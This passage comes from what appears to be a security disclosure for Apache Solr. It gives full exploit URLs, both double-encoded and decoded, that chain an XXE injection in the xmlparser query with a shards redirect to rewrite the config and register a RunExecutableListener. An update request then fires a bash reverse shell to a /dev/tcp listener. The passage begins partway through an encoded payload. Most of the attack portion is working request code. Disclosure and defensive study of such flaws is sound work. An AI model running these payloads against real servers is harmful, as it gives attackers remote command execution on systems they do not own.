32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%33%25%32%35%36%66%25%32%35%36%63%25%32%35%37%32%25%32%35%32%65%25%32%35%35%32%25%32%35%37%35%25%32%35%36%65%25%32%35%34%35%25%32%35%37%38%25%32%35%36%35%25%32%35%36%33%25%32%35%37%35%25%32%35%37%34%25%32%35%36%31%25%32%35%36%32%25%32%35%36%63%25%32%35%36%35%25%32%35%34%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%35%25%32%35%37%38%25%32%35%36%35%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%34%25%32%35%36%39%25%32%35%37%32%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%32%66%25%32%35%36%32%25%32%35%36%39%25%32%35%36%65%25%32%35%32%66%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%31%25%32%35%37%32%25%32%35%36%37%25%32%35%37%33%25%32%35%32%32%25%32%35%33%61%25%32%35%35%62%25%32%35%32%32%25%32%35%32%64%25%32%35%36%33%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%34%25%32%35%34%30%25%32%35%37%63%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%65%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%35%25%32%35%36%33%25%32%35%36%38%25%32%35%36%66%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%66%25%32%35%36%32%25%32%35%36%39%25%32%35%36%65%25%32%35%32%66%25%32%35%36%32%25%32%35%36%31%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%64%25%32%35%36%39%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%33%65%25%32%35%32%36%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%66%25%32%35%36%34%25%32%35%36%35%25%32%35%37%36%25%32%35%32%66%25%32%35%37%34%25%32%35%36%33%25%32%35%37%30%25%32%35%32%66%25%32%35%33%31%25%32%35%33%32%25%32%35%33%37%25%32%35%32%65%25%32%35%33%30%25%32%35%32%65%25%32%35%33%30%25%32%35%32%65%25%32%35%33%31%25%32%35%32%66%25%32%35%33%31%25%32%35%33%32%25%32%35%33%33%25%32%35%33%34%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%33%30%25%32%35%33%65%25%32%35%32%36%25%32%35%33%31%25%32%35%32%32%25%32%35%35%64%25%32%35%37%64%25%32%35%37%64%26%73%68%61%72%64%73%3d%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%22%3e%3c%61%3e%3c%2f%61%3e%27%7d
Without URL encode:
http://localhost:8983/solr/newcollection/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/newcollection/select?q=xxx&qt=/solr/newcollection/config?stream.body={"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","/bin/bash","-i",">&","/dev/tcp/127.0.0.1/1234","0>&1"]}}&shards=localhost:8983/"><a></a>'}
As you may notice, in order to update the config we need to send a POST request to the application. But by using XXE vulnerability we can only send HTTP GET requests. There is a special trick is used here: If Solr receives "/select?q=123&qt=/xxx&shards=localhost:8983/" GET request, it actually converts it to POST and redirects this request to the shard specified in "shards" parameter. Which is also cool, it overwrites url query by the "qt" parameter, so we can convert it from "/select" to "/config".
The result HTTP request that is landed to localhost:8983/ will be POST request with stream.body="our_value". That is exactly what we need in terms of exploitation.
Step 3. Update "newcollection" through XXE to trigger execution of RunExecutableListener
http://localhost:8983/solr/newcollection/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%75%70%64%61%74%65%3f%73%74%72%65%61%6d%2e%62%6f%64%79%3d%25%35%62%25%37%62%25%32%32%25%36%39%25%36%34%25%32%32%25%33%61%25%32%32%25%34%31%25%34%31%25%34%31%25%32%32%25%37%64%25%35%64%26%63%6f%6d%6d%69%74%3d%74%72%75%65%26%6f%76%65%72%77%72%69%74%65%3d%74%72%75%65%22%3e%3c%61%3e%3c%2f%61%3e%27%7d%20
Without URL encode:
http://localhost:8983/solr/newcollection/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/newcollection/update?stream.body=[{"id":"AAA"}]&commit=true&overwrite=true"><a></a>'}
Step 5. When the "/bin/sh c $@|sh . echo /bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1" command is executed during update, a new shell session will be opened on the netcat listener. An attacker can execute any shell command on the server where Solr is running.
In all three requests Solr responds with different errors, but all of these error are happened after desired actions are executed.
All these vulnerabilities were tested on the latest version of Apache Solr with the default cloud config (bin/solr start -e cloud -noprompt)
These vulnerabilities were discovered by:
Michael Stepankin (JPMorgan Chase)
Olga Barinova (Gotham Digital Science)